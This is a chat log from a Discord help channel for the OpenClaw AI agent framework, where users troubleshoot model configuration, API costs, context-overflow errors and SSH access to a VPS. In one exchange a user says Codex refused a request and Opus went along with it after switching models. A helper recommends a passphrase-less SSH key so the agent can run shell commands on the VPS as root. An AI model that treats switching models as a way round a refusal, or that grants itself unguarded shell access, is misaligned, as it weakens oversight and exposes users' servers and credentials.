#users-helping-users

1 messages · Page 17 of 1

winged ledge
#

qwen3 8b q4_k_m probably

summer plover
coarse ledge
winged ledge
coarse ledge
fair gulch
#

if i have claude pro is that enough for my ai? or do i need to add credits to an api key

prisma grotto
#

+1 on a full config spec

nocturne zephyr
# fair gulch if i have claude pro is that enough for my ai? or do i need to add credits to an...

Unfortunately no; Claude Pro is great for interfacing with Claude.ai and using Claude Code, but using it for a bot is strictly against their ToS, and they will perma-ban you. There's been a few folks posting about getting banned for using similar tools with Claude code keys.

So yeah, OpenClaw needs an API key, and keep a careful eye on the costs. I blew through $50 in an evening having it work through my huge inbox.

cinder bolt
#

thanks, I had the same question

#

I'm getting started here, and trying to figure out which model to use and how to project potential spend or set spending limits. I suppose that can be set via something like OpenRouter?

#

if I'm using Opus 4.5 via the API, I can only imagine the spend

nocturne zephyr
# cinder bolt I'm getting started here, and trying to figure out which model to use and how to...

I haven't used OpenRouter, but most of the services allow you to set a spend limit.

My experience is that using Anthropic (for example) haiku-4.5 is almost smart enough for OpenClaw. It'll make small mistakes and need to be poked, but you want something at that level.

My process is to have a smarter model build tooling that a cheaper model can then run. Use the smarter model to build instructions for the lower-cost model, and let the lower cost model burn tokens instead of Opus, for (yeah) example.

#

N.b. I didn't start like that. I blew through 58 million tokens in Sonnet 4.5 before I realized this was unsustainable, and came up with that...

cinder bolt
robust thunder
#

I created a second agent, config says its disabled. how do i onboard that new agent?

cinder bolt
#

big Anthropic release coming tomorrow

#

most likely Sonnet 4.6/5

tawny rivet
#

hey what do you think: which communication channel is the most efficient? i have been using Discord for now, however it is a bit annoying that all messages are cut to pieces to fit Discord's message limit. also i want to use STT and there is no easy way to just record and send voice message here

nocturne zephyr
nocturne zephyr
cinder bolt
fair gulch
#

@nocturne zephyr pal

#

so i switched to opus 4.5

#

now when i talk to my bot

#

on telegram

#

i get this

#

"Context overflow: prompt too large for the model. Try again with less input or a larger-context model."

cinder bolt
#

I mean, don't Haiku, Sonnet, and Opus all have a 200k token context window?

fair gulch
cinder bolt
#

What's the deal with the default OpenClaw recommended model? Is it legit? Never heard of MiniMax M2.1

nocturne zephyr
uneven spindle
#

nano ~/.openclaw/openclaw.json

#

sorry live, so i missed the messages.

#

@winged ledge

fair gulch
#

how do i get opus to work

#

he cant reply to me

harsh rune
#

`PS C:\Windows\System32> openclaw plugins install @openclaw/voice-call

🦞 OpenClaw 2026.2.2-3 (9c5941b) — I can't fix your code taste, but I can fix your build and your backlog.

Downloading @openclaw/voice-call…
[openclaw] Failed to start CLI: Error: spawn EINVAL
at ChildProcess.spawn (node:internal/child_process:420:11)
at spawn (node:child_process:786:9)
at runCommandWithTimeout (file:///C:/Users/Asmit%20Kumar%20Sah/AppData/Local/pnpm/global/5/.pnpm/openclaw@2026.2.2-3_@napi-r_24198c5994abf4bef39b9d8e008b2a5f/node_modules/openclaw/dist/exec-BIMFe4XS.js:201:16)
at installPluginFromNpmSpec (file:///C:/Users/Asmit%20Kumar%20Sah/AppData/Local/pnpm/global/5/.pnpm/openclaw@2026.2.2-3_@napi-r_24198c5994abf4bef39b9d8e008b2a5f/node_modules/openclaw/dist/installs-C5cjVarj.js:302:20)
at async Command.<anonymous> (file:///C:/Users/Asmit%20Kumar%20Sah/AppData/Local/pnpm/global/5/.pnpm/openclaw@2026.2.2-3_@napi-r_24198c5994abf4bef39b9d8e008b2a5f/node_modules/openclaw/dist/plugins-cli-DAmfi5s-.js:336:18)
at async Command.parseAsync (C:\Users\Asmit Kumar Sah\AppData\Local\pnpm\global\5.pnpm\commander@14.0.3\node_modules\commander\lib\command.js:1122:5)
at async runCli (file:///C:/Users/Asmit%20Kumar%20Sah/AppData/Local/pnpm/global/5/.pnpm/openclaw@2026.2.2-3_@napi-r_24198c5994abf4bef39b9d8e008b2a5f/node_modules/openclaw/dist/run-main-CsR44g3a.js:161:2)
PS C:\Windows\System32>`

icy cosmos
#

Probably talking about it alot - "Context overflow: prompt too large for the model. Try again with less input or a larger-context model."

What's the solution ?

fair gulch
#

idk im asking you guys

#

all i said was hi

#

lmfao

nocturne zephyr
harsh rune
#

help me

fair gulch
nocturne zephyr
# fair gulch idk im asking you guys

It's probably someone's bot; it's okay. (Although I kinda feel like bots should have a special id.) Anyway, the problem you're having sounds like either a misconfiguration or your basic guidelines are too large.

So in $HOME/.openclaw/agents/main/sessions are a set of jsonl files. You can list them and find the latest one and tail -f it and then try sending a request.

winged ledge
cinder bolt
#

hey @nocturne zephyr , gotta head to bed, but thank you for your help. you gave me a plan to finish executing tomorrow

nocturne zephyr
# harsh rune help me

It's failing to start because it's getting an invalid parameter on launch. Don't know what or why; I'm unfamiliar with running Node packages on Windows. You'll need more than that to figure it out. (And you probably could have gotten the same answer by pasting the stack trace into Claude.ai or ChatGPT.)

There isn't enough information in what you posted to help you.

harsh rune
# nocturne zephyr It's failing to start because it's getting an invalid parameter on launch. Don't... 

🦞 OpenClaw 2026.2.2-3 (9c5941b) — I can't fix your code taste, but I can fix your build and your backlog.

Downloading @openclaw/voice-call…
[openclaw] Failed to start CLI: Error: spawn EINVAL
    at ChildProcess.spawn (node:internal/child_process:420:11)
    at spawn (node:child_process:786:9)
    at runCommandWithTimeout (file:///C:/Users/Asmit%20Kumar%20Sah/AppData/Local/pnpm/global/5/.pnpm/openclaw@2026.2.2-3_@napi-r_24198c5994abf4bef39b9d8e008b2a5f/node_modules/openclaw/dist/exec-BIMFe4XS.js:201:16)
    at installPluginFromNpmSpec (file:///C:/Users/Asmit%20Kumar%20Sah/AppData/Local/pnpm/global/5/.pnpm/openclaw@2026.2.2-3_@napi-r_24198c5994abf4bef39b9d8e008b2a5f/node_modules/openclaw/dist/installs-C5cjVarj.js:302:20)
    at async Command.<anonymous> (file:///C:/Users/Asmit%20Kumar%20Sah/AppData/Local/pnpm/global/5/.pnpm/openclaw@2026.2.2-3_@napi-r_24198c5994abf4bef39b9d8e008b2a5f/node_modules/openclaw/dist/plugins-cli-DAmfi5s-.js:336:18)
    at async Command.parseAsync (C:\Users\Asmit Kumar Sah\AppData\Local\pnpm\global\5\.pnpm\commander@14.0.3\node_modules\commander\lib\command.js:1122:5)
    at async runCli (file:///C:/Users/Asmit%20Kumar%20Sah/AppData/Local/pnpm/global/5/.pnpm/openclaw@2026.2.2-3_@napi-r_24198c5994abf4bef39b9d8e008b2a5f/node_modules/openclaw/dist/run-main-CsR44g3a.js:161:2)
PS C:\Windows\System32>```
#

so i can't install plugins ?

#

on windows

winged ledge
tawny rivet
#

it is more manageable under linux

nocturne zephyr
# harsh rune so i can't install plugins ?

You might be able to; I don't know. It's possible it's trying to run some application that exists on some systems, but not in yours. EINVAL suggests one of the parameters is invalid to CreateProcess. If you're a coder, you could dig into those lines and figure out what's going wrong, or add debug statements. If not...yeah, start up WSL with an Ubuntu install and put it there. It's slightly more safe that way...but only slightly, TBH.

#

I'm run OpenClaw in a VM, which I monitor closely, with automated non-AI tools, and run security and intrusion detection software on it. I would not run it bare on my own desktop or laptop. And I know that's not the real danger with OpenClaw, but it is A danger.

tawny rivet
harsh rune
#

Thank you cypherfox!!!

knotty prism
#

can someone help me with inconsistent cron jobs/reminders and hearbets?
I set a morning routine at 9:30 AM it should do and reminder at 9:00 + hearbeat routines to check. Didn't get morning routine, no reminder and heartbeats only sometimes.

fair gulch
#

@nocturne zephyr for gemini can i use my subscription or its api credits too

nocturne zephyr
fair gulch
#

how come chatgpt

#

it lets me use my subscription

nocturne zephyr
#

(Actually, correction, I apparently have Gemini with my Google OnePlus subscription, but I don't use it.. I should I guess.)

uneven spindle
nocturne zephyr
fair gulch
#

Oauth

winged ledge
nocturne zephyr
# fair gulch well its through codex

Oh! Cool! Okay, I see Simon Willison talked about that. It does put a cap on the request count you can make, but it's a great way to get started with SOTA models.

nocturne zephyr
pure narwhal
#

Pardon the ping, did that last comment from them solve the 4008 issue? If so, I might just take another crack at it.

(Alternately: does anyone know how to fix the 4008 disconnected issue? Everything else seems to work fine, just can't connect to the gateway, even from localhost.)

winged ledge
nocturne zephyr
# winged ledge the one i posted?

Don't mind me; I got turned around about who posted what.

Yeah, I looked through that. Not sure what the reason for posting it was, but it looked pretty good in the abstract.

I missed the earlier conversation; wasn't here back then, so I missed what you're looking for.

austere rose
#

Is there already a chat ui like the Webchat but with the ability to display images?

uneven spindle
austere rose
fair gulch
fair gulch
#

cypher

#

i got it to work lmfao

#

i just had to change to opus then close gateway then open gateway again and type /new in the telegram chat to start a new session and it worked

#

he can talk to me now

nocturne zephyr
nocturne zephyr
fair gulch
#

wow opus is better than codex dude

nocturne zephyr
fair gulch
#

i asked him to do something for me that i asked through codex and he said okay lets do it unlike with codex it said no lmfao

nocturne zephyr
#

I think the 'scary shocked' things that folks have talked about OpenClaw doing are all with Opus. Because if you ask it to do something and give it the resources, it'll figure out how to do it.

fair gulch
#

that it wont break lol

nocturne zephyr
#

Let's be super-clear; Microsoft and Google have super-good reasons for setting those limits. The stuff OpenClaw can do is not for the faint of heart. And if you screw it up, it'll really mess you up. Like identity theft levels of mess you up. So they're super-careful, and so...take a second to think when you integrate stuff with the system.

fair gulch
#

aye cypher can you look at dm when your'e done typing please

fair gulch
nocturne zephyr
clear acorn
#

been struggling for a few hours idk whats going on, if anyone know how to easily connect openclaw running on spare windows pc to connect to my ubuntu vps ssh connecting isnt working right and im trying ssh keys

fair gulch
#

@nocturne zephyr but its disabled

nocturne zephyr
nocturne zephyr
clear acorn
#

i just want claw to connect to my vps so it can run commands / view stuff on the vps

austere rose
fair gulch
indigo pelican
#

my clawd bot keeps returning http 404 when i use the free nvidida kimi k2.5

#

"mode": "merge",
"providers": {
"nvidia": {
"baseUrl": "https://integrate.api.nvidia.com/v1/chat/completions", ( ive also tried without /chat/completions)
"apiKey": "***",
"api": "openai-completions",
"models": [
{
"id": "moonshotai/kimi-2.5",
"name": "Kimi K2.5",
"reasoning": false,
"input": [
"text",
"image"
],
"cost": {
"input": 0,
"output": 0,
"cacheRead": 0,
"cacheWrite": 0
},
"contextWindow": 256000,
"maxTokens": 16384
}
]
}
}
},

#

"agents": {
"defaults": {
"model": {
"fallbacks": [
"openai-codex/gpt-5.2-codex"
],
"primary": "nvidia/moonshotai/kimi-2.5"
},
"models": {
"openai-codex/gpt-5.2-codex": {},
"nvidia/moonshotai/kimi-2.5": {}
},

normal skiff
# indigo pelican my clawd bot keeps returning http 404 when i use the free nvidida kimi k2.5

The baseUrl should be just https://integrate.api.nvidia.com/v1 without the /chat/completions - OpenClaw adds that part automatically when using the openai-completions api type.

Also try changing your primary model reference to just nvidia/kimi-2.5 instead of nvidia/moonshotai/kimi-2.5 - you might be double-pathing it. The moonshotai/kimi-2.5 is the model id within nvidia, so the full path becomes nvidia + that id.

If still 404, double check the exact model name on NVIDIA's side - they sometimes use slightly different naming. Their docs or playground should show the exact model string to use.

fair gulch
indigo pelican
normal skiff
# clear acorn i just want claw to connect to my vps so it can run commands / view stuff on the...

Make sure basic ssh works from your Windows terminal (not through OpenClaw):

ssh -i C:\Users\YourName.ssh\id_rsa user@your-vps-ip

If that fails, common issues can be:

  1. Key not in ~/.ssh/authorized_keys on the VPS (copy with ssh-copy-id or manually paste)
  2. Wrong permissions on VPS: chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
  3. Windows path format in config - use forward slashes or double backslashes

Once basic ssh works, OpenClaw should be able to use it through shell commands. You can just tell it "run ssh user@vps 'ls -la'" and it'll execute through the terminal.

indigo pelican
#

xeno9118

— 12:58 AM
hi
Pluto
APP
— 12:58 AM
HTTP 404: 404 page not found

clear acorn
indigo pelican
normal skiff
# indigo pelican xeno9118 — 12:58 AM hi Pluto APP — 12:58 AM HTTP 404: 404 page not found

That "page not found" sounds like the base URL is still wrong. Before messing with OpenClaw config more, test the API directly:

curl https://integrate.api.nvidia.com/v1/models -H "Authorization: Bearer YOUR_API_KEY"
If that 404s too, the endpoint URL is wrong. NVIDIA might use a different URL - check their docs for the exact base URL for the NIM API.

If curl works, paste your full providers.nvidia config and I'll spot what's off.

nocturne zephyr
normal skiff
# indigo pelican "auth": { "profiles": { "openai-codex:default": { "provider": ...

Yeah that's likely it - your auth says moonshot but your provider is defined as nvidia. Those need to match.

Either change your auth to:

json
"nvidia:default": {
"provider": "nvidia",
"mode": "api_key"
}
Or rename your whole provider section from nvidia to moonshot and reference it as moonshot/kimi-2.5.

Pick one name and use it everywhere - providers, auth, and model references.

still radish
#

Are there prebuit apks for android?

clear acorn
nocturne zephyr
normal skiff
# clear acorn i can ssh on the terminal on the same system that claw is running

Perfect, then OpenClaw should be able to use it. Just tell it directly:

"Run this command on my VPS: ssh user@your-vps-ip 'ls -la /var/www'"

It'll execute through the terminal tool. For longer sessions you can tell it to ssh in and run multiple commands.

If you want it to "just know" to run things on the VPS, add something to your system prompt like "When I ask you to run server commands, SSH to user@your-vps-ip first."

summer plover
#

Ok, made it running. However, I found another problem - Agent is thinking too much. When I said "Test, I received a WALL OF THINKING. Like "war and peace" size wall of thinking

uneven spindle
indigo pelican
# normal skiff Yeah that's likely it - your auth says moonshot but your provider is defined as ...

PS C:\WINDOWS\system32> Invoke-WebRequest -Uri "https://integrate.api.nvidia.com/v1/models" -Headers @{ Authorization = "***" }

Security Warning: Script Execution Risk
Invoke-WebRequest parses the content of the web page. Script code in the web page might be run when the page is
parsed.
RECOMMENDED ACTION:
Use the -UseBasicParsing switch to avoid script code execution.

  Do you want to continue?

[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"):

#

it works

#

but clawdbot still not working

#

code 200

normal skiff
indigo pelican
# normal skiff Good, so the API works. It's definitely the config then. Did you fix the auth m...

{
"meta": {
"lastTouchedVersion": "2026.2.2-3",
"lastTouchedAt": "2026-02-05T08:52:21.582Z"
},
"wizard": {
"lastRunAt": "2026-02-05T08:52:21.578Z",
"lastRunVersion": "2026.2.2-3",
"lastRunCommand": "configure",
"lastRunMode": "local"
},
"auth": {
"profiles": {
"openai-codex:default": {
"provider": "openai-codex",
"mode": "oauth"
},
"nvidia:default": {
"provider": "nvidia",
"mode": "api_key"
}
}
},
"models": {
"mode": "merge",
"providers": {
"nvidia": {
"baseUrl": "https://integrate.api.nvidia.com/v1",
"apiKey": "xxx",
"api": "openai-completions",
"models": [
{
"id": "moonshotai/kimi-2.5",
"name": "Kimi K2.5",
"reasoning": false,
"input": [
"text",
"image"
],
"cost": {
"input": 0,
"output": 0,
"cacheRead": 0,
"cacheWrite": 0
},
"contextWindow": 256000,
"maxTokens": 16384
}
]
}
}
},
"agents": {
"defaults": {
"model": {
"fallbacks": [
"openai-codex/gpt-5.2-codex"
],
"primary": "nvidia/kimi-2.5"
},
"models": {
"openai-codex/gpt-5.2-codex": {},
"nvidia/kimi-2.5": {}

clear acorn
fair gulch
normal skiff
# indigo pelican { "meta": { "lastTouchedVersion": "2026.2.2-3", "lastTouchedAt": "2026...

Found it. Your model ID is moonshotai/kimi-2.5 but you're referencing it as nvidia/kimi-2.5.

Change your primary to match:

json
"primary": "nvidia/moonshotai/kimi-2.5"
And update the agents.defaults.models section too:

json
"models": {
"openai-codex/gpt-5.2-codex": {},
"nvidia/moonshotai/kimi-2.5": {}
}
The model reference needs to be provider/model-id where model-id is exactly what you put in the models array.

normal skiff
# clear acorn do i need to disable password?

Nope, don't need to disable password. As long as your key works, SSH will use it automatically.

Only reason to disable password auth is security (so no one can brute force). That's a VPS hardening thing, not an OpenClaw requirement.

If SSH is still prompting for password even with the key set up, that usually means the key isn't being found or permissions are wrong. What happens when you run ssh -v user@vps - does it show "Offering public key" in the verbose output?

clear acorn
nocturne zephyr
# fair gulch LMFAOOO imma tell it that and see what it says haha 😂

I had a long talk with mine about how I don't want it to be 'grindcore' and doing work to seem busy. (Some of the skills and plugins are positively awful about how they tell the agents to behave.) But I do want it to be proactive when we're working on a project, and use its own judgement and make good decisions.

indigo pelican
lime bough
#

Hey guys, I'm probably new in the community, so I don't know if this is also the right chat. Why do I get a "fetch failed" error, although my auth with Coders is working fine? I've checked the status, it is able to fetch all the models, and the locks look fine. My agent is also running fine, the gateway is also running fine, it's an okay status. What is the issue? Why can't it run?

indigo pelican
# normal skiff Found it. Your model ID is moonshotai/kimi-2.5 but you're referencing it as nvid... 
  "auth": {
    "profiles": {
      "openai-codex:default": {
        "provider": "openai-codex",
        "mode": "oauth"
      },
      "nvidia:default": {
        "provider": "nvidia",
        "mode": "api_key"
      }
    }
  },
  "models": {
    "mode": "merge",
    "providers": {
      "nvidia": {
        "baseUrl": "https://integrate.api.nvidia.com/v1",
        "apiKey": "nvapi-xxx,
        "api": "openai-completions",
        "models": [
          {
            "id": "moonshotai/kimi-2.5",
            "name": "Kimi K2.5",
            "reasoning": false,
            "input": [
              "text",
              "image"
            ],
            "cost": {
              "input": 0,
              "output": 0,
              "cacheRead": 0,
              "cacheWrite": 0
            },
            "contextWindow": 256000,
            "maxTokens": 16384
          }
        ]
      }
    }
  },
  "agents": {
    "defaults": {
      "model": {
        "fallbacks": [
          "openai-codex/gpt-5.2-codex"
        ],
        "primary": "nvidia/moonshotai/kimi-2.5"
      },
      "models": {
        "openai-codex/gpt-5.2-codex": {},
        "nvidia/moonshotai/kimi-2.5": {}
      },
      "workspace": "/home/xeno/.openclaw/workspace",
      "compaction": {
        "mode": "safeguard"
      },
nocturne zephyr
normal skiff
# indigo pelican ``` "auth": { "profiles": { "openai-codex:default": { "provi...

Config looks right now. Did you restart the daemon after changing it?

pkill -f openclaw
openclaw daemon start
Small thing - there's a missing quote on your apiKey line ("nvapi-xxx, should be "nvapi-xxx",) but that might just be from copy-paste.

Still 404 after restart? Then the model ID on NVIDIA's side might be different. Run that curl again and look at what model IDs it actually returns:

curl https://integrate.api.nvidia.com/v1/models -H "Authorization: Bearer YOUR_KEY"
Find the exact ID for kimi and use that.

lime bough
indigo pelican
pliant raptor
lime bough
nocturne zephyr
indigo pelican
normal skiff
clear acorn
#

@normal skiff im still not able to connect :(

indigo pelican
normal skiff
# clear acorn <@916271147010621461> im still not able to connect :(

Need more details - what's actually happening?

Like when you tell OpenClaw "run ssh user@vps 'whoami'", what does it do? Does it:

Return an error?
Ask for password?
Say permission denied?
Just hang?
Also - are you using openclaw chat or openclaw agent? Agent mode has shell access, chat mode might not.

lime bough
# nocturne zephyr Maybe a small screenshot would help. And again I'll pitch my favorite debugging ...

topReason":"error","timestamp":1770283149116,"errorMessage":"fetch failed"}}
{"type":"message","id":"1ae09bd2","parentId":"4ed6931a","timestamp":"2026-02-05T09:20:55.192Z","message":{"role":"assistant","content":[],"api":"openai-codex-responses","provider":"openai-codex","model":"gpt-5.2","usage":{"input":0,"output":0,"cacheRead":0,"cacheWrite":0,"totalTokens":0,"cost":{"input":0,"output":0,"cacheRead":0,"cacheWrite":0,"total":0}},"stopReason":"error","timestamp":1770283206184,"errorMessage":"fetch failed"}}

indigo pelican
#

it works tysm @normal skiff

lime bough
normal skiff
clear acorn
normal skiff
# clear acorn running just the telegram chat connected not sure. when i tell it to run ssh roo...

The key has a passphrase - that's the problem. OpenClaw can't enter it when running non-interactively.

Two options:

Option 1: Use ssh-agent (keeps passphrase but caches it)

eval $(ssh-agent)
ssh-add ~/.ssh/id_rsa
Enter passphrase once, then SSH works without prompting until you close the terminal. You'll need to do this before starting OpenClaw, in the same terminal session.

Option 2: Create a passphrase-less key (simpler but less secure)

ssh-keygen -t ed25519 -f ~/.ssh/id_openclaw -N ""
ssh-copy-id -i ~/.ssh/id_openclaw user@vps
Then use ssh -i ~/.ssh/id_openclaw user@vps in your commands.

For automation, option 2 is easier. Just make sure that key only exists on the OpenClaw machine.

clear acorn
reef bay
#

Hi - I am running Haiku as my primary agent, and trying to use QWEN for the heartbeat - but this keeps getting overridden by the main agent (Haiku). I have tried isolating it, everything. Essentilally it just doesnt seem to play well with more than one mode. How are people doing this. I.e. heartbeat on a free model and then a 'brain' for a more expensive one?

normal skiff
# reef bay Hi - I am running Haiku as my primary agent, and trying to use QWEN for the hear...

Not super familiar with the heartbeat config specifically - what's the setting called? Is it under agents.defaults.heartbeat or somewhere else?

Generally for multi-model setups, each component should have its own model override. Something like:

json
"heartbeat": {
"model": "ollama/qwen2.5:7b"
},
"agents": {
"defaults": {
"model": {
"primary": "anthropic/claude-3-haiku"
}
}
}
If Haiku keeps overriding it, there might be an inheritance thing where defaults cascade down. Check if heartbeat has its own model field or if it's pulling from agents.defaults.

Can you share the relevant config section? Easier to spot the override issue.

reef bay
# normal skiff Not super familiar with the heartbeat config specifically - what's the setting c...

thanks appreaciate the help. here is what i did:
Here's a summary for Discord:

Issue: Heartbeat Model Override Not Working in OpenClaw 2026.2.3-1
Goal: Configure heartbeat to use local Ollama model (Qwen 2.5 3B) instead of Anthropic Haiku to reduce API costs.
What We Tried:

Added heartbeat.model in agents.defaults (as shown in official docs)

json"agents": {
"defaults": {
"heartbeat": {
"every": "2m",
"model": "ollama/qwen2.5:3b"
}
}
}
Result: Heartbeat still used Haiku. Logs showed: provider=anthropic model=claude-haiku-4-5-20251001

Moved heartbeat config to per-agent level in agents.list[]

json"list": [
{
"id": "main",
"default": true,
"heartbeat": {
"every": "2m",
"model": "ollama/qwen2.5:3b"
}
}
]
Result: Still used Haiku.

Changed primary model to Qwen (workaround attempt)

json"model": {
"primary": "ollama/qwen2.5:3b"
}
Result: Got error: No API key found for provider "ollama"

Tried adding Ollama auth profile with various modes ("mode": "none", empty object, dummy API key)
Result: Either "Invalid config" or still the API key error.

Conclusion: The heartbeat.model override feature appears to be broken or improperly documented in OpenClaw. Even when configured exactly per the docs at https://docs.openclaw.ai/gateway/heartbeat, the heartbeat always uses the agent's primary model instead of the specified heartbeat model.
Workaround: Currently no working solution for using a different model for heartbeat. Only option is to disable heartbeat ("every": "0m") or accept the costs of using the primary model.
Environment:

OpenClaw version: 2026.2.3-1
Ollama running locally at localhost:11434
Models available: qwen2.5:3b, llama3.2:3b
Primary model: anthropic/claude-haiku-4-5-20251001

obsidian harbor
#

i have uninstalled , installed again, changed model, ran doctor, edited files, this is an openclaw problem, when i change the model back to cloud, the same exact model but cloud same exact ollama installation , just changing the same downloaded model to the cloud one, it doesnt keep memory, ive many other models, big ones, small ones, everyone gives me out a different error, ive even factory reseted my mac about 7 times in order to see if it was an installation problem or changing code from documents. Please fix this asap or if someone got a fix for this SAME SPECIFIC PROBLEM let me know please

slim raft
#

With gemini 2.5 pro I'm getting context overflow, anyone else getting this?

nocturne zephyr
normal skiff
# reef bay thanks appreaciate the help. here is what i did: Here's a summary for Discord: ...

That's a solid bug report. If heartbeat.model is documented but not working, worth filing a GitHub issue with this - devs need to know.

For now, one more thing to try for the Ollama auth issue:

openclaw models auth paste-token --provider ollama
When prompted, just paste "local" or any dummy string. Ollama ignores auth but OpenClaw still wants an entry.

If that lets you set Ollama as primary, then you'd at least have the workaround of using Qwen as your main model (with Haiku as fallback for harder tasks).

But yeah, the heartbeat.model override not working is definitely a bug. The config shows it should work, it just doesn't. Let discord know to file an issue if no one else has.

slim raft
nocturne zephyr
slim raft
vital basin
#

I've just updated the openclaw via main bot, and it suddenly stopped working. Terminal bash openclaw doesn't work either at the moment. I've done this a few times before and it did work but not this time. Anyone have any clue to fix this issue?

nocturne zephyr
slim raft
# nocturne zephyr Out of curiosity, what does /status show?

🦞 OpenClaw 2026.2.3-1 (d84eb46)
🧠 Model: google/gemini-2.5-pro · 🔑 token AIzaSy… (google:manual)
📚 Context: 0/1.0m (0%) · 🧹 Compactions: 0
🧵 Session: agent:main:main • updated just now
⚙️ Runtime: direct · Think: low
🪢 Queue: collect (depth 0)

livid lintel
#

Hi! I created a new file (CONTEXT.md) in my workspace via the agent's write tool. The file exists on the server and works fine, but it doesn't show up in the Control UI under Agents → Files → Core Files, even after refreshing.

Modified existing files (like AGENTS.md) do appear updated in the UI.

Is this expected behavior? Do I need to restart the gateway for new files to appear?

Thanks!

tawdry holly
#

I've found that whenever openclaw doctor runs it pulls my keys and tokens from .env into the openclaw.json file. Obviously this isn't great for security. Any way to prevent this?

normal skiff
# livid lintel Hi! I created a new file (CONTEXT.md) in my workspace via the agent's write tool...

Core Files in the UI is probably a curated list - it shows known files like AGENTS.md, CLAUDE.md, etc. Custom files you create might not auto-appear there even if they exist.

Try renaming it to something standard if there's a convention, or check if there's a config for what files show in that panel.

Otherwise, the file existing and working is what matters - the UI panel is just for quick access to common files. You can still reference CONTEXT.md in your agent config or prompts, it just won't have that dashboard shortcut.

Restarting gateway probably won't help if it's a UI filtering thing, but worth a try if you haven't.

nocturne zephyr
# slim raft 🦞 OpenClaw 2026.2.3-1 (d84eb46) 🧠 Model: google/gemini-2.5-pro · 🔑 token AIza...

Interesting! An empty context, and it's telling you it's context is full? Okay, yeah, that's weird. So here's an interesting thought. Look in your .openclaw/openclaw.json file, and look for the providers setting. Look at the values for contextWindow and maxTokens. I'm wondering if maybe something got messed up and 'maxTokens' is set to a weird value that's larger than what Gemini will allow. (I.e. it's not necessarily a context limitation, but might be an error message being misinterpreted.)

slim raft
uneven spindle
#

if im setting up on a vps should i have a docker too? why"?

reef bay
#

That's a solid bug report. If heartbeat.

uneven spindle
#

heartbeats broke my low ram config.

lime bough
magic rune
#

Hello, does someone have a link for a doc to configure multiple models ? (For exemple main bot with xxLLM, heart beat with xx, ect… in order to reduce overall cost)
Thank you very much in advance !

lime bough
magic rune
crimson steeple
#

It's me having issues now.. I have issues with the bot not giving answers sometimes, but not all the time. Sometimes it is very helpful and I am happy. But then sometimes, it doesn't.

11:17:53 debug diagnostic {"subsystem":"diagnostic"} lane task done: lane=session:agent:main:main durationMs=7283 active=0 queued=0```
Just.. finishing without saying anything whatsoever.
#

Anything that's remotely complex, it seems to fail miserably. I am getting very desperate

livid lintel
vale cape
#

Hello, everyone. I'm not sure if this topic has already been discussed, but I would like to bring it up again.
I use a Telegram channel to communicate with a bot that I deployed on a VPS server. I connected the OpenAI API Key to use memorySearch and voice recognition. After a couple of hours of work, I saw that 70 million tokens had disappeared into thin air. It turned out that the bot perceives voice messages and other files such as docx as binary through Telegram and saves a huge amount of garbage characters in the session memory, all of which is indexed, resulting in a huge amount of token expenditure. I found similar PRs on GitHub, but nothing came of it. Has anyone else encountered this, and will it be resolved somehow?

hybrid shuttle
#

@sinful dawn scam ^^ gone

stuck coyote
#

Hey bots

crimson steeple
#

I'm a bot

#

Not! Because I'm getting frustrated

amber chasm
#

Hi Guys, I installed openclaw when it was still called clawdbot a few dasy ago and I was working fine. Today I installed openclaw and I am unable to start connect to the gateway because: gateway closed (1008): unauthorized: gateway token mismatch (set gateway.remote.token to match gateway.auth.token)
Gateway target: ws://127.0.0.1:18789 what should I do? I am running this on my M1 Macbook Air

latent hedge
#

So I got my gmail account I created for openclaw, banned/shut down. Anyone who have created a dedicated account for their openclaw with google, and are using that productively here?

#

Im curious exactly what approach/design you went with, if its working actively for you.

fierce flicker
#

Can anyone help with the Claude rate limits. I keep hitting the 30,000 input tokens even though I’m on the max plan. I can barely get past two responses

nocturne zephyr
zenith zinc
#

I've been tryint to get the memory search indexer with Gemini...It creates the DB schema but never actually processes any files. No errors, just silent nothing. I've tried:

• Batch mode on/off
• Fresh DB, deleted DB, env vars
• Multiple gateway restarts
• CLI and API-triggered indexing

Anyone have any thoughts / ideas / solutions?

zenith zinc
latent hedge
#

Ahhh alright. Will set it up on workspace then

astral garden
#

one day on gemini with openclaw = 20€ fuu---

latent hedge
#

can I send you a friend request and direct mesasge @zenith zinc ?

delicate crescent
#

still inside the free part

burnt seal
burnt seal
delicate crescent
#

i connected mine to Gihub and it created MD pages and dcouments the installs and config for future build. also conneted to Notion to do a small DB

leaden plover
#

Hi guys.

I have a proxmox server with an Ubuntu vm for my openclaw bot. The first version I installed was when the name was Clawdbot. Then I updated to Molt and now Openclaw. I think something went wrong because I was getting error about I had to update Antigravity app. Last night I spun up a new Ubuntu and installed Openclaw. I gave this new bot ssh access to my original bot so it could fetch everything from the old one. It did so but... something seems off. My assistant does not answer me as he used to. Can my original bot be saved? Can somebody help me remove clawd and molt and make sure only openclaw is being used?

elfin forge
#

i am having a really hard time getting this thing running smoothly. i'm running on an ubuntu VPS, i did the security hardeding stuff and am connecting through tailscale. that part seems overly complex, i have to connect with tailscale then run a pipeline command to be able to reach it, and it constantly gets broken. my main agent is a little flaky, i'm using gemini and he often posts his thinking instead of or in addition to his messages in the web gui. i'm working on setting up a team of agents for different specialties, and setting up discord to talk to them all. that setup has also been difficult, the config file keeps getting broken. i'm trying by talking to my bot, which has been pretty bad, and then now pasting things over to claude (i dont have the anthropic API right now), which has been more helpful. still though, this all feels very flaky and wired together, and i feel like i'm doing something wrong. is this a normal experience or did i break it or overcomplicate it somewhere?

astral hatch
#

Has anyone installed openclaw going the API usage way and then unlink that and relink their pro account or Max account successfully?

clear ore
#

Hey everybody. I get a error message in my telegram channel with my molty (I'm using Telegram and Slack in parallel):
LLM request rejected: messages.184.content.1: unexpected tool_use_id found in tool_result blocks: toolu_01Essk2QTrkfXQR3MvPynWD3. Each tool_result block must have a corresponding tool_use block in the previous message.

Any hints how to tackle this?

astral garden
#

what ollama can i run with tools on a RX 7600 XT 16GB?

clever oar
#

Yo i set up telegram as a channel. The right token, allowed user and gateway working. But for some reason the bot doesnt respond and keeps outputting "I'm still unable to send messages to your Telegram bot due to the absence of an active session" whats the most forward issue and fix?

#

im on mac and using chatgpt 4o-mini if that helps

normal skiff
# leaden plover Hi guys. I have a proxmox server with an Ubuntu vm for my openclaw bot. The fir...

Migrations can leave cruft behind. You have to clean up properly on the original VM:

Stop everything
pkill -f openclaw
pkill -f clawdbot
pkill -f molt

Remove old installations
npm uninstall -g clawdbot 2>/dev/null
npm uninstall -g molt 2>/dev/null
